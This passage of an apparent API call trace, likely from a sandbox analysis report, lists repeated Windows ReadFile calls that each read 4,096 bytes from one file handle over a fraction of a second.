lpOverlapped=0x0) returned 1 [0174.873] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.873] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.873] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.873] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.873] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.873] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.873] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.873] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.874] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.874] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.874] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.874] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.874] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.874] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.874] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.875] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.006] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.006] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.007] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.007] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.007] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.007] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.007] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.007] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.008] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.008] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.008] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.008] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.008] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.008] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.008] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.009] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.009] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.009] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.009] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.009] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.009] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.009] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.010] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.010] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.010] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.010] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.010] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.010] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.011] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.011] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.011] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.011] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.011] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.011] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.011] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.012] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.012] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.012] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.012] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.012] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.012] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.012] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.013] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.014] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.014] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.014] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.014] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.014] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.014] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.015] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.015] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.015] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.015] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.015] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.015] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.015] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.016] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.016] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.016] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.016] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.016] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.016] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.016] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.017] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.017] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.017] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.017] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.017] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.017] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.018] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.018] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.018] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.018] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.018] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.018] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.018] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.019] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.019] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.019] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.019] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.019] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.019] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.020] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.020] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.020] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, 